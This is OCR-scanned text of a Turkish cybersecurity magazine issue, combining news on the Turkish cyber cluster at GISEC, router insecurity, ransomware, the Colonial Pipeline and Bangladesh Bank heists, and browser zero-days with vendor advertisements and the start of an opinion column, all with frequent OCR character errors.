Turkiye Siber Guvenlik Kiimelenmesi, koronavirlis salgini nedeniyle ara verilen uluslararasi tanitim ve pazarlama caligmalarini
yeniden hizlandirdi.

Cumbhurbaskanligl Savunma Sanayii Baskanhgl (SSB) tarafindan 2018 yilinda kurulan Turkiye Siber Givenlik Kimelenmesi
calismalarini strdiriyor.

Kimelenme, SSB'nin destegiyle lyelerinin hedef bolge pazarlari arasinda saydigi Orta Dogu ve Kuzey Afrika Ulkelerini kapsayan
MENA bolgesine yonelik caligsmalar kapsaminda Dubai'de diizenlenen Korfez Bilgi Guvenligi Fuari ve Konferansi'na (GISEC) katildi.

Bolge ulkelerindeki siber guivenlik reticileri, son kullanicilar, entegrator ve distribitorleri bir araya getiren etkinlik, ayni zamanda
askeri ve sivil ihtiyac makamlariyla bulusmaya imkan sagladi. 180'den fazla firma fuarda boy gosterdi.

GISEC'e ilk kez "Ulke pavyonu" ile katihm saglayan Turkiye, bu alandaki iddiasini ortaya koydu.
ihracatta tlke ekonomisine katki amaclaniyor

Siber guvenligin farkli alanlarinda uzmanlagsmis kiimelenme lyesi 7 firma, Arap diinyasinin en buyiik ve etkili siber gtivenlik etkinligi
GISEC'te Urlin ve hizmetlerini tanitti. Fuarda HAVELSAN, STM, ARKSIGNER, LOGSIGN, CYBERWISE-SECURRENT, FORESTALL ve
UITSEC yetkilileri bdlgedeki teknoloji sirketlerinin Ust diizey yoneticileriyle gérismeler gerceklestirdi.

Bolgede gorev yapan Ust diizey Turk yoneticiler ve firma sahipleri kimelenme firmalari hakkinda detayli bilgi alarak, bolgeye yonelik
is birlikleri hakkinda goériismeler yapti.

Turkiye Siber Guvenlik Kimelenmesine tiye 200'e yakin firmanin 400'den fazla triin ve ¢6zimu bulunuyor. Kimelenme, hem Turkiye'nin
siber guvenlik ihtiyaclarini karsilamay! hem de ihracatla tilke ekonomisine katkida bulunmayi amacliyor.

Pandemi ile siber saldirilar da
mutasyona ugradi!

Pandemiile birlikte saglik verilerinin giivenliginin de kritik hale geldigini séyleyen
yerli siber giivenlik kurulusu Infrasis'in kurucusu ve Genel Miduri Can Sobutay,
2020 yili ile birlikte E-Nabiz ve Hayat Eve Sigar (HES) gibi uygulamalarin trafigi
cok ciddi sekilde artti. HES, su anda neredeyse dijital kelepce niteliginde. Onsuz
hicbir yere gitme imkénimiz yok. Dolayisiyla bu uygulamalarin icerisinde kisisel
verilerin korunmasi kadar bu uygulamalari ayakta tutmak da ¢ok 6nemli hale
geldi” dedi.

Bu kapsamda e-Nabiz'daki artan kapasite artisina dikkat ceken Sobutay, "Pandemi

déneminde maske, mesafe ve temizlik ne kadar 6nemliyse siber glvenlik de en
az o kadar kritik hale geldi. Bu sirecte ticaretin, is hayatinin yanisira saglhk
hizmetlerinin surdirilebilmesini de siber glvenlikciler sagladi” diye konustu.
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Hackerlarin kolay hedefi: Modemler, telefonlar

ve yatak odasindaki televizyonlar

ingiltere’de yapilan bir arastirmada, modemlerin, dikkat edilmezse korsan saldirilara karsi
koruma kalkaninin bir hayli distik oldugu ortaya ¢ikti. Siber givenlik uzmani Osman Demir-
can ve "Modemler Uzerinden hack'lenme artik ¢ok ciddi boyutlarda" dedi ve modemlerin
glincel yazilima sahip olmasi gerektigini belirtti.

Hiirriyet gazetesinden ismail Sari'nin aktardigi habere gore; arastirmada cesitli internet
servis saglayicilar tarafindan musterilere verilen 13 farkli modem markasi incelendi.
Inceleme sonucunda cihazlarin tcte ikisinden fazlasinin kusurlu oldugu ortaya cikti. Arastir-
ma sonuclarina gore yaklasik 6 milyon kisinin de 2018'den bu yana glincellenmemis bir
modem kullanmakta oldugu tahmin ediliyor.

incelenen modemlerin cogunda siber saldirganlarin kolaylikla kirabilecegi zayif olarak
nitelendirilen parolalara rastlandi. Ayrica giivenlik ve performans icin en 6nemli unsur olan
yazilim giincellemelerinin de eksik oldugu tespit edildi.

‘Kullanici adini ve parolayi sik sik degistirin'

ESET Tiirkiye Uriin ve Pazarlama Mudiirii Can Erginkurban &zellikle eski model cihazlarda
guvenlik agiginin daha derin olduguna dikkat cekti ve parola uyarisi yapti:

"Yasal olmayan dosyalarin indirilmesi, web sitelerine kimlik dogrulama saldirilari, DDoS
(Dagitilmis ag saldirilar) gibi saldirilar genellikle ele gecirilen modemler araciligi ile
kullanicinin haberi bile olmadan gerceklesiyor. Guvenilir Ureticiler, cihazlarinda agik kesfet-
tikten belli bir siire sonra firmware giincellemesi yayinlamaya 6zen gosteriyor. Fakat 10-15
yil 6nce piyasaya ¢ikmis cihazlar ne donanim ne de yazilim bakimindan gtincelleme ¢ikaril-
masina uygun oluyor. Modemin yasam ve degistirme suresini kestirebilmek zor. Hem
glvenlik hem de baglanti anlaminda yeni teknolojiler ¢iktikca cihazlarimizi degistirmemiz
makul gortintyor. Artik bircok modem ureticisi modem giris kullanicr adi ve parolasini veya
en azindan parolasini otomatik olarak degistirmeye zorluyor. Eger bdyle bir cihaza sahip
degilseniz mutlaka hem kullanici adini hem de parolasini varsayilan birakmayarak degistirin.
Aksi halde evin kapisinin Gzerinde anahtarinizi unutmus kadar giivendesiniz demektir."

Modemden telefon hacklenebilir mi?

Siber glivenlik uzmani Demircan, modem Uzerinden giris yapilarak evdeki akilli cihazlara
ulasilabilecegini belirtti ve "Modem (zerinden akan trafigin icerisinde ‘https’ler ve ‘http'ler
dolasiyor. Http ile baslayan adreslerde kullanici adi/sifre, 6zel yazismalar, 5nemli veriler ya
da ses kayitlari varsa siber saldirganlar ¢cok buyik bir ihtimalle bunlarin tamamina erisebilir.
Kullanilan modem listesinin icinde kisiye ait ne tir bir akilli cihaza sahip oldugu da gordldr,
korsanlar bu zafiyetten yararlanarak telefona zararli bir yazilim yerlestirip yine kisinin haberi
olmadan tiim internet trafigini izleyip dinleyebilir"

Saldirtya ugradigini diigiinenler
ne yapmali?

Erginkurban, "Eger kullanici asagidaki sorunlar-
dan herhangi birini yasiyorsa, modeminin ya da
bilgisayarinin saldiriya ugradigindan siiphelen-
ebilir" dedi ve ekledi:

Verileriniz sifrelenmisse ve agmak icin para
talep eden fidye istegi mesajlari aliyorsaniz,

Bilgisayariniz normalden daha yavas calisiyor-
sa; (Bu kot amacl yazilimlarin bilgisayarinizin
performansini dnemli 6lclide yavaslatmasin-
dan olabilir),

Bilgisayar programlariniz rastgele ¢cokiyorsa,

Ekraninizdaki agilir pencerelerde birkag sahte
antivirlis mesaji ¢ikiyorsa,

Web tarayicinizda tanimadiginiz yeni ara¢ cubuklar
ve adlari varsa,

internet aramalarinizin sonucu alakasiz sonuclar
veren sitelere yonlendiriliyorsaniz,

Online hesaplariniza erisirken kullandiginiz
parolalariniz calismiyorsa veya banka hesabinizda
anormal harcamalar varsa,

Bilgisayarinizda bilmediginizv veya sizin yiikle-
mediginiz yazilimlar varsa,

Suphelendiginiz bir durum so6z konusuysa
oncelikle sisteminize modem ve modeme bagli
cihazlarinizin da kontroliini yapabilecek bir
antivirlis programi yikleyin,

Modeminizi fabrika ayarlarina geri dénduirin,
firmware giincellemesini yapin,

SSID ve kullanici erisim bilgilerinizi ayarlayin,
guvenlik duvarini etkin hale getirin, kullandiginiz
online parolalari degistirin,

Tahmin edilmesi glic, birbirinden farkli parolalar

kullanmaya 6zen gosterin.
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Siber Gluivenlik ve Yapay Zeka

. UMAY Mobil Tehdit
/M a Savunma Araci lle
d 3 Her Zaman Onde Ol!

I 38
: \\ // ] e Bankacilik ve Finans
N D A Uygulamalariyla Butlinlesik
\ / ¢ YUklu Zararh Uygulamalarin Tespiti
BiIiShim Siber Guvenlik Ekibimiz uzun yillar kamu ve 6zel sektérde kritik sistem ve ag
ve Yapay Zeka altyapilarini, olasi en kapsamli siber saldirilara karsi gtvenli

sekilde isletmis sistem yoneticileri ile birbirinden ¢cok farkl
ortam ve platformlarda sistemlere sizma ve tersine miuhendislik
T.C. SSB Siber Kume.lenme Uyesi firmadr. deneyimleri olan siber glvenlik uzmanlarindan ve birlikte
Ayni zamanda resmi olarak TSE-A

Onayli Sizma Testi Firmasidir calistiklari yazilim takimindan olusmaktadir.

URUNLERIMIZ
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nettarsier
Kurumsal Zafiyet SOC Bilesenleri Coklu Dil
Tarama Araci lle Tam Entegrasyon Destegi
Belirlenen zaman dilimlerinde Diger SOC bilesenlerine log besleme Turkge ve ingilizce'yi destekleyen ana
hedef ag ve sistemleri periyodik yaparak tam entegrasyon saglar. panel ekrani Gizerinden tim agin siber

guvenlik resmini gercek zamanli

ve otomatik olarak suirekli taramaktadir.
gormek mumkuin olmaktadir.

W

Z3é UMAY

Mobil Tehdit Bankacilik ve Finans Yukla Zararh
Savunma Araci Uygulamalariyla Butinlesik Uygulamalarin Tespiti
Sundugu API fonksiyonlari Gzerinden, Bankacilik ve finans uygulamalariniz Mobil cihazinizda tarama yaparak
telefonlardaki yukli uygulamalara mobil tehdit savunma aracimiz zararli uygulamalarin tespiti ve
ait izin ve yetkiler ile risk durumunu takip ‘Umay’ ile glivende! analizi yapilir.

ve analiz edilebilecektir.
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Elon Musk siber saldirganlarin hedefi haline geldi

Son dénemde bitcoin, Dogecoin ve kripto paralar ile ilgili agiklamalar yaparak giindem
olan Tesla ve SpaceX'in kurucusu Elon Musk siber saldirgan gruplarin hedefine oturdu.

Diinyanin en zengin insanlarindan Elon Musk'in siber saldirganlarin hedefinde oldugu
ortaya ¢ikti...

Tesla ve SpaceX'i yoneten Elon Musk'in bir grup hacker tarafindan saldirlya ugradigi
tespit edildi. ABD'de yayin yapan dijital haber platformu TMZ, daha 6nce PayPal ve
Scientology gibi kurum ve kuruluglara saldiran hackerlarin simdi de Elon Musk'a saldiri
hazirlig icerisinde oldugunu yazd.

Musk’in kripto paralar ile ilgili aciklamalarini ve Gnli is insaninin kontrolsiiz bir guici
oldugunu aciklayan hacker grubu Anonymous, “Musk kendisini Bitcoin'in cevreye
verdigi zararlardan rahatsizmis gibi konumlandiriyor fakat o genelde bu yaklagimin tam
tersi hamleler yapiyor. Onda Usttinlik kompleksi var” aciklamasini yapti.

Hacker nasil bir yontem izleyeceklerini ya da saldirinin zamani ile ilgili bir aciklama
yapmadi.

BITCOIN KULLANIMINI DURDURMUSTU

Elon Musk bir stire dnce sirketi Tesla’nin Bitcoin ile satis yapmasini durdurmustu.

Musk o doénemlerde yaptigl aciklamada Bitcoin'in cevreye verdigi zararin ve doga
kirliliginin henuz tespit edilemedigini vurgulamisti.

Son dénemde
kripto para
Uzerine yaptigl
cikislarla
iIsminden s6z
ettiren Elon Musk
manipulasyon
suclamalariyla
karsi karsiya
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-> Haberler

Emniyet'ten 'Ransomware' uyarisi! Her yil
milyarlarca dolar zarara yol aciyor

Emniyet Genel Mudurliglu (EGM) Siber Suclarla Miicadele
Daire Baskanligl, diinyada her yil milyarlarca dolar zarara
yol agan "ransomware" (fidyeci yazilim) saldirilarina karsi
kurumsal yapilar ile isletmelere uyarilarda bulundu. Son
donemde oOzellikle blyuk fidyeler 6demeye glici yeten
kurum ve kuruluslar ile 6nemli sirketlerin hedef alindigl
belirtildi. SIBERAY programinin internet adresinden, fidyeci
yazilim saldirilarini dnlemede ve gerceklesen saldirilarin
etkilerini en aza indirmede yol gdsterici olabilecek bazi
ipuclarina yer verildi.

Siber Suglarla Micadele Daire Basgkanhginin guvenli
internet kullanimi igin vatandaglara rehberlik amaciyla
baslattigl SIBERAY programinin internet sitesinden yapilan
bilgilendirmede, zararli yazilm tirleri arasinda en yaygin
olanlarindan birisi olan fidye yazilimlarinin (fidye virtsu)
bulastiklar sistemlerde dosyalara erisimi engelleyerek
kullanicilardan fidye talep edilmesine olanak sagladigina
dikkat cekildi.

Uluslararasi arastirma ve raporlarda, fidye yazilimi
saldirilarinin biylk o6l¢ide dikkate alinmasi gerektigi ve
saldirilarin ciddi zararlar verebildigi hususlarinin bir¢ok
defa vurgulandigi belirtildi.

Bu saldirilarin maddi zararinin giin gegtikge arttiginin
kaydedildigi bu raporlarda, saldirganlarin &zellikle buyuk
fidyeler 6demeye glcli yeten kurum ve kuruluslar ile
onemli sirketleri hedef almayi tercih ettiklerinin belirtildigi
ifade edildi.

SALDIRILARDAN KORUNMAK iCIN NELER YAPILMALI?

SIBERAY programinin internet adresinden, fidyeci yazilim
saldirilarinin yogun sekilde hedefi haline gelen kurumsal
yapilarin, saldirilart  &nlemelerinde veya gergeklesen
saldirilarin etkilerini en aza indirmelerinde yol gdsterici
olabilecek ipuglarina yer verildi:

"Saldirilardan korunmak icin bilisim altyapisi aglarina
uzaktan erisim icin ¢ok faktorli kimlik dogrulamasi
istenmeli. Oltalamala e-postalarinin  son kullanicilara
ulasmasini énlemek icin gucli spam filtreleri etkinlestir-
ilmeli. Tim yazilimlar zamaninda glincellenmeli. Saldirilar-
dan korunmak icin internet trafigi filtrelenmeli. Risk tabanli
bir degerlendirme stratejisi kullaniimali. Ozellikle uzak
masalstl baglantisini kisitlayarak, aglar Gzerinden kaynak-
lara erisim sinirlandiriimali.  Dizenli veri yedekleme
prosedirleri uygulanmali.

Supheli durumlarda ise etkilenen sistem izole edilmeli.
Cihazlar agdan ayrilmali fakat kapatilmamali. Sistemdeki
diger cihazlar agdan ayirip kapatarak etkilenmeleri 6nlen-
meli. Sistemdeki yetkili kullanici bilgileri ve sifreleri
degistirilmeli. Yedeklemelerin givende oldugundan emin
olunmali. Mimkiinse, koti amacli yazilim icermedigini
kontrol etmek icin yedekleme verileri bir virlisten koruma
programi ile taranmall.”
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-> Haberler

Apple'ln M1 igslemcisi glivenlik
acigl ile glindemde

Teknolojinin ve internetin yayginlagmasi,
siber glivenligin oldukga dnemli bir konuma
ulagsmasina neden oldu. Glinlik hayatimizda
kullandigimiz teknolojileri ve yazilimlari
Ureten sirketler bazen kullaniciyi tehlikeye
atan problemler ile giindeme geliyorlar.
Guvenlik konusunda iddiali firmalardan
Apple'in dahi yasadigi bu duruma bir
yenisi daha eklendi.

Apple'in Mac ve iPad Pro'da kullandigi
ARM tabanli islemcisi Silicon M1 yeni bir
glvenlik acigr ile kullanicilart korkuttu.
Problemin tehlike seviyesinin ise disuk
oldugu belirtildi.

Apple M1 islemcideki
glivenlik ag1g1 tehlikeli degil

Bir yazilim gelistiricisi Hector Martin’in
tespit ettigi glvenlik acigl, kotu amach iki
uygulamanin birbirleriyle gizlice iletisim
kurmasini sagliyor. Bahse konu iletisim
yalnizca bilgisayar hakkindaki sistemsel
bilgileri (6rnegin CPU sistem kayitlari)
kapsiyor. Bunun disinda programlar
glvenlik acigindan faydalanarak kullanici
verilerini géremiyor ve baska kimselere
iletemiyorlar.

Kotld amacli yazilimlarin, givenlik agigini
firsat bilerek bilgisayara midahele etme
yetkilerinin  olamayacagini  belirten
Hector Martin bunun vyalnizca isletim
sisteminin glvenlik modelini ihlal ettigini
dile getirdi. Yine de acigin Apple M1
islemci Gizerinde tamamen etkisiz olmadigini
ifade eden Martin “Zararsiz bile olsa,
teorik olarak calisan bir islemden diger-
ine gizlice veri iletilememesi gerekir.”
aciklamasinda bulundu.

Glvenlik agiginin gelecekte yol acacagi
tehditlere karsi uyart yapan Hector
Martin, Apple M1 islemcinin iPhone’larda
kullanilmasi durumunda daha tehlikeli
senaryolarin yasanabilecegini 6ne sirdd.
Ornegin i0S isletim sistemindeki klavyenin
internet erisimi olmadigindan, yazdiginiz
kelimeleri Giglincl parti bir yere gdndermesi
imkansiz. Ancak tespit edilen acik, kot
niyetli bir yazilimin klavye hareketlerinizi
izleyebilmesi ve baska bir uygulamayla
paylasabilmesini mimkun kiliyor. Bu durum
dolayli olarak verilerinizi tehlikeye atiyor.

Martin acigin yazilimsal miudaheleyle
dizeltilemeyecegini vurgulayarak, Silicon
mimarisinde revizyona ihtiya¢ oldugunun
altini ¢izdi.

Mac ve iPad
Pro'da kullanilan
Apple Silicon M1
islemci, koéti
amacli yazilim-

larin birbirleriyle
iletigimini
saglayan gliven-
lik acigi ile glin-
demde.
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-> Haberler
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FBI, Petrol Boru Hatti Hackerlarina Odenen Bitcoinleri Kurtardi!

Gectigimiz ay petrol tasimaciligi sirketi
Colonial Pipeline Co.'ya saldiri diizenleyen
bilgisayar korsanlari sirketin sistemlerine
hacklemisti. Sistemleri hacklendikten sonra
tim operasyonlarini durdurmak zorunda
kalan sirket hackerlarin talep ettigi 4.4
milyon dolar degerindeki kripto parayi
6demek zorunda kald!.

Colonial Pipeline Co. CEO'su Joseph Blount,
The Wall Street Journal'a verdigi roportajda
sirketin 4.4 milyon dolarlk fidye talebini
kabul ettigini aksi takdirde sistemlerinin ne
kadar bir sirede normale donecegini
ongdremediklerini ifade etmisti.

CNN'nin haberine gére ABD'li yetkililer
fidye olarak alinan milyonlarca dolar
degerindeki kripto parayl kurtarmayi
basardi.

FBI tarafindan yurutilen sorusturmada Rusya merkezli oldugu distiniilen hackerlarin kullandigl kripto para clizdani izlemeye alind.
ABD'li yetkililer Colonial saldirisinin Darkside olarak bilinen bir hack grubu tarafindan gerceklestirildigini tespit etti.

FBI Direktdr Yardimcisi Paul Abbate tarafindan yapilan aciklamada Colonial Pipeline Co.'dan fidye olarak alinan Bitcoinlerin
tutuldugu ctizdana el konuldugu belirtildi.

"Bu clizdandaki kurbana ait fonlara el konuldu ve Darkside tyelerinin bunlari kullanmalari engellendi.”

Bassavci Yardimcisi Lisa Monaco ise “Adalet Bakanlgl 6denen fidyenin cogunu buldu ve geri ald1” dedi.
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-> Haberler

Telegram Uygulamasi, Yeni Dark
Web mi Oluyor?

Siber suclular yasadisi yollarla elde ettikleri kisisel verileri, izlenmek
veya yakalanmak korkusu olmadan Telegram'da paylasiyor. Bu da,
"Yeni Dark Wen Telegram mi?" sorusunu doguruyor.

Siber glivenlik arastirmacilari tarafindan Telegram Gzerinde yapilan
bir arastirma, milyonlarca insanin kisisel verilerinin uygulamanin
gruplarinda ve kanallarinda binlerce Uyeyle acikga paylasildigini
ortaya c¢ikardi. VPN saglayicisi vpnMentor tarafindan yapilan
arastirma, Telegram'in siber suclular igin givenli bir liman olma
konumunu daha da guglendiriyor. Suclular, milyonlarca insani
benzeri gortilmemis dizeyde cevrimici dolandiricilik, bilgisayar
korsanligl ve saldiriya maruz birakan biyik veri sizintilarini
paylasmak ve tartismak icin popduler sifreli iletisim platformunu
kullaniyor.

Yakin zamanda NortonLifeLock tarafindan yapilan benzer bir
arastirmada, hacker'larin Covid-19 asilari ve kisisel bilgilerden
korsan yazilimlara ve sahte kimliklere kadar her seyi ele
gegirdigi ve Telegram (zerinden paylastigl yasadisi bir
pazarin kanitlari bulundu.

vpnMentor, geleneksel olarak bu veri dokimlerinin karanlk
web Uzerinden degis tokus edildigini ancak Telegram'in
Uyelerinin  gizliligini korumaya odaklanmasi sayesinde
kullanicilara daha fazla avantaj sundugunu soyllyor. Ayrica
Telegram'a girmek, karanlik web'e kiyasla daha kolay ve
normal web'deki siber suclularin operasyonlarini tehdit
eden Dagitilmis Hizmet Reddi (DDoS) saldirilarina ve web
yayindan kaldirmalarina maruz kalmiyor.
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EMPOWERING THE PURSUIT INTELLIGENCE

CAITCHY PRO3=

INTELLIGERCE TECHNOLOGIES i

Sirketinizi Siber
Saldirilara Karsi
Koruyoruz!

CatchProbe, potansiyel tehditlerden korumak icin ihtiyac duyulan tim istihbarati toplar, zenginlestirir ve
korelasyonunu saglayaralc dogru raporlan olusturur.

Acik ve ayricalilkh kaynaklardan toplanan siber tehdit istihbarat verilerinin yan sira, aldatma sistemleri
(HoneyPot), sizdirilmis veri tabanlarn ve Darlc/Deep Web kaynalklar da CatchProbe tarafindan kullanilir ve
web arayiiz lizerinden erisilebilir.

CatchProbe CatchProbe CatchProbe
DarkMap SmartDeceptive ThreatWay
+ SmartBot Teknolojisi ile Ozellestiriimis I<esif * Gercek Zamanh Saldiri Talkibi « Kimlilc Avi Faaliyetlerini izleme Ozelligi
* Farlc edilemeyen TaramE_s_Tel(nolcjisi * Kolay ve HIElI Pot Kurulumu * Yeni l:_)ogan Alan Adlari Takip (:f_)zelligi
. F_'erivodil( Tarama__()zelligi * Zengin ve Ozel Senaryolar » [<6ti KKibarh IKaynaklarn Takip Ozellidgi
* Iceril Arsivieme Ozelligi * MITRE ATT&CK Matrisi Destedi » Zenginlestirilmis Tehdit Kaynaklan
» Genisletilebilir Mimari Ozelligi = Tehdit Aktdri Profilleme Ozelligi « Tehdit Risk ve Skor Ozelligi
O L] A
iletisim: /
hr@catchprobe.com twitter.com/{CatchProbeint
+90 (850) 25914 40 www.catchprobe.com | linkedin.com/CatchProbe
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Lazarus soygunu: Kuzey Koreli bilgisayar korsanlari, Banglades Merkez
Bankasi'ndan 1 milyar dolar calmaya ne kadar yaklagti?

2016 yilinda Kuzey Koreli bilgisayar korsanlari az kalsin Banglades Merkez
Bankasi'ndan 1 milyar dolar calmayi basariyordu. Tamamen tesadifi bir
aksilik yiziinden son anda paray! ¢ekemediler, yaklasik 81 milyon dolarla
yetindiler. Geoff White ve Jean H Lee (*), bu inanilmaz soygun girisiminin
hikayesini anlatiyor ve diinyanin bu en yoksul ve en diglanmis Glkesinden
nasil bu kadar wusta bilgisayar korsanlarin cikabildigini arastirdi.

Her sey bir bilgisayar yazicisinin bozulmasiyla bagladi.

Gagimizda gunlik yasamin bir parcasi haline gelen aksiliklerden biriydi ve
Banglades Bankasi calisanlari da cogumuz gibi bunun giinlik teknolojik
sikintilardan biri oldugunu distind.

Fakat aslinda bu herhangi bir yazici olmadigl gibi, banka da herhangi bir
banka degildi.

Banglades Merkez Bankasi, milyonlarca insanin yoksullukla bogustugu
Ulkenin kiymetli doviz rezervlerinin tutuldugu yerdi.

Ve bu bilgisayar yazicisi da ¢cok dnemli bir role sahipti. Bankanin bagkent
Dakka'daki genel merkez binasinin 10. katindaki ytiksek gtivenlikli bir odada
bulunan bu yazicidan, bankaya giren ve ¢ikan milyonlarca dolarlik déviz
transferlerinin kayitlari basiliyordu.

5 Subat 2016 glini saat 08:45'de personel yazicinin ¢alismadigini
fark etti.

Nobetci amir Zlibeyir Ben Hida daha sonra polise "Bu tir ufak
tefek aksamalar daha 6nce de oluyordu" diyecekti.

Ama bu aslinda Banglades Bankasi'nin basinin ¢ok fena belada
oldugunun ilk isaretiydi.

Bilgisayar korsanlari bankanin sistemlerine sizmig ve diinyanin o
zamana kadar tanik oldugu en clretkar siber saldiry1 baglatmislardi.
Amaglari, 1 milyar dolar calmakti.

Paray! cekebilmek igin, soygunu planlayan cete, sahte banka
hesaplari, yardim kuruluglari, kumarhaneler ve genis bir
isbirlikciler agindan yararlaniyordu.

Fakat kimdi bunlar ve hangi tlkedendi?

Sorusturmay! ylritenlerin buldugu dijital parmak izlerinin tima
tek bir adresi isaret ediyordu: Kuzey Kore hikimeti.
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“Gelismis ve Cok Yonlu”

Guvenlik Kontrol Merkezler]

UITSEC

More Secure Than Ever

Guvenlik
Operasyon
Merkezi (SOC)

+ Siber gtivenlik olaylarinin 6nlenmesi
- Siber istihbarat destegi

« Stirekli tehdit analizi

« Glvenlik agiklar icin tarama hizmeti
« Guvenlik politikasi ve mimari
danismanligi

« Gergek zamanli ve olasi giivenlik
olaylarinin izlenmesi

+ Dogrulanmis olaylarin raporlanmasi
« Koordinasyon ve yonlendirme

« Raporlama

« Tatbikat

Esentepe Mahallesi BuyUkdere Cad. Levent 199 No:199/6 Sisli

Ag
Operasyonlari
Merkezi (NOC)

Ag ve glvenlik cihazlan tzerinde
olusan performans alarmlari ve loglarin
merkezi bir sistemde toplanarak
gercek zamanli takibinin saglanmasi,
analizlerin gerceklestiriimesi, alarmlarin
iletiimesi ve gerekli yonlendirmelerin
saglanmasi ile birlikte guvenli ve
stabil bir ag yonetimi icin UITSEC
Ag Operasyon ekibi (NOC) 7/24
olmak Uzere hizmet vermektedir.

§iber
Istihbarat
Merkezi (CIC)

« Organizasyonunuza yonelik riskleri
degerlendirme, gelen uyarilari analiz
etme ve genel glivenliginizi artirma,
« Guvenlik operasyonlarinizin etkinligini
arttirma,

« En giincel tehditleri izleyebilmek igin
strateji olusturma,

« Siber suglularin kullandigi yontem
ve teknikleri anlama,

« Siber istihbarati mevcut guvenlik
proseddrlerine entegre etme.

www.uitsec-international.com

0 (850) 259 14 85

1)

Malware Analiz
ve Savunma
Merkezi (MADC)

«7/24 Malware izleme ve tespit imkani,

- Saldirganlarin kullandigi gelismis malware
tekniklerini ve ydontemlerini analiz etme,
- Saldirgan profillerini belirleme ve
oncul énlemler alma imkani,

« APT yaklasimlarina karsi 6ncl 6nlemler
alma imkani,

+ Hedef odakl tehditler konusunda kuruma
ozel ayrintili analizler gerceklestirme,

« Organizasyonun genel giivenligine
iliskin faydal bilgiler edinme.




-> Haberler

Microsoft Windows ve Chrome tarayicisinda
sifir glin aciklari tespit edildi

Siber guvenlik uzmanlari, Nisan ayinda daha 6nce kesfed-
ilmemis Google Chrome ve Microsoft Windows sifir giin
aciklarini kullanarak ¢ok sayida sirketi hedefleyen bir saldiri
dizisi kesfetti. S6z konusu istismarlardan biri Chrome web
tarayicisinda uzaktan kod yuritmek icin kullanilirken, digeri
ise Windows 10'un en yeni ve belirgin yapilarini hedef almak
Uzere iki ayr ayricalik ylkseltme istismarini temel aliyor

Son aylarda sifir giin aciklarini kullanan yeni bir gelismis
tehdit dalgasi sahada ©ne cikti. Nisan ayinin ortalarinda
Kaspersky uzmanlari, saldirganlarin hedeflenen aglari gizlice
ele gegirmesine olanak taniyan, cok sayida sirkete yonelik
yeni bir yiiksek diizeyde hedefli agiklardan yararlanan yeni bir
tehdit dalgasi kesfetti.

Kaspersky, bu saldirilarla bilinen tehdit aktorleri arasinda
henuliz bir baglanti bulamadi. Bu nedenle bu yeni oyuncuya
PuzzleMaker adi verildi.

Saldirlar Chrome tarayicisi lzerinden gerceklestirildi ve uzaktan kod yuriitmeye izin veren bir agiktan yararlanildi. aragtirmacilar uzaktan
ylriitme agiginin kodunu alamamis olsa da zaman cizelgesi ve kullanim aktiviteleri saldirganlarin su anda yamanmis olan CVE-2021-21224
guvenlik agigini kullandigini gosteriyor. Bu giivenlik agig1, Chrome ve Chromium web tarayicilari tarafindan kullanilan bir JavaScript motoru
olan V8'deki Tur Uyusmazhig hatasiyla ilgili ve saldirganlarin Chrome derleyici stirecinden yararlanmalarina olanak tanir.

Bununla birlikte uzmanlar, Microsoft Windows isletim sistemi cekirdegindeki iki farkl glivenlik agigindan yararlanan ikinci istismari bulup
analiz etmeyi basardi. Hassas cekirdek bilgilerini sizdiran bu giivenlik agig CVE-2021-31955 olarak isaretlendi. Bu acik ilk olarak Windows
Vista ile tanitilan ve yaygin olarak kullanilan uygulamalari bellege dnceden yikleyerek yazilim yikleme sirelerini azaltmayr amaclayan bir
ozellik olan SuperFetch ile baglantil..




Invicti'l

2 Acunetix | ) Netsparker

Changing the way web apps are secured

We know that everything we do is increasingly connected. If it's connected, it's vulnerable. Our best-in-class
application security solutions help organizations around the world keep their web applications safe.

www.invicti.com



About UITSEC

UITSEC International, which has been among the leading
companies in Turkey in the field of product-independent
cybersecurity for many years, is a technology company that
leads the development of cybersecurity technologies while
providing cybersecurity solutions to many institutions
worldwide with its expert staff.

www.uitsec-international.com
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-> Dosya Konusu

Sib_er Guvenlik
ve Insan Faktorg

J

& niisiki

Su meshur climle ile baglayayim yazima “zincir,
en zayif halkasi kadar gucludur”. Siber giivenlik
camiasinda son kullanici farkindalihgina
dikkat cekmek icin kullanilir ¢ogunlukla...
Karikatlrdeki su meshur Dave yani...

Fakat bu yazinin odaginda onlar yok... Ringin
diger tarafina bakacagiz biraz... Teknoloji
Uretenler, sistem gelistirenler, gtivenlik sistemlerini
tasarlayanlar ve kullananlar.

Siber Guvenligin daha cok teknoloji odakli
oldugu ile ilgili yaygin kaninin aksine isin
teknik olmayan tarafinin daha 6nemli bir
agirhga sahip olduguna inaniyorum. Siber
glvenlik mimarisinde kullanilacak teknolojik
¢o6zimler elbette savunma hattinin dnemli
bir parcasi fakat sadece teknik kontrolleri
yerlestirmenin yeterli olmadigina inantyorum.

Teknolojik ¢oziimlerden uzak iki farkli bakis
acisi sunmak istiyorum. Biraz garip gelebilir
fakat Siber Guvenlik alanindaki bakis acim
okudugum iki kitap ile farkilasti diyebilirim.

Simon Sinek’in “Neden ile Basla” (Start th
Why) kitabi ile baslayalim. Kitabin icerigi
Neden? Nasil? ve Ne? ic¢li kuramina
dayaniyor. Neden'siz herhangi bir seyin uzun
soluklu olamayacagi detayll bir sekilde
anlatiliyor. Once Neden'inizi olusturun;
Neden'ininizi Nasil ve Ne ile hayata gecireceginizi
planlayin seklinde tavsiye veriyor. Bu bakis
acisini Siber Guvenlik alanina s6yle uyarlayabiliriz:
Gulvenligin asil amaci  kurumlarin veya
sistemlerin is yapabilme yeteneklerini desteklemek
olmalidir. Bu bizim Nedenimizdir. Siber Guivelik
Mimarileri ise bu fikri Nasil destekleyecegimizi
aciklar.

Teknolojik ¢oziimlerden uzak iki farkli bakis
agist sunmak istiyorum. Biraz garip gelebilir
fakat Siber Guvenlik alanindaki bakis a¢im
okudugum iki kitap ile farkilasti diyebilirim.

Simon Sinek’in “Neden ile Basla” (Start th
Why) kitabi ile baslayalim. Kitabin icerigi
Neden? Nasil? ve Ne? ¢l kuramina dayaniyor.
Neden'siz herhangi bir seyin uzun soluklu
olamayacag! detayl bir sekilde anlatiliyor.
Once Neden'inizi olusturun; Neden'ininizi
Nasil ve Ne ile hayata gegireceginizi planlayin
seklinde tavsiye veriyor. Bu bakis acisini
Siber Guvenlik alanina sdyle uyarlayabiliriz:
Guvenligin asil amaci kurumlarin veya sistemlerin
is yapabilme yeteneklerini desteklemek olmalidir.
Bu bizim Nedenimizdir. Siber Giivelik Mimarileri
ise bu fikri Nasil destekleyecegimizi aciklar.

Teknoloik ¢ozimler ise Nedenimizi Ne ile
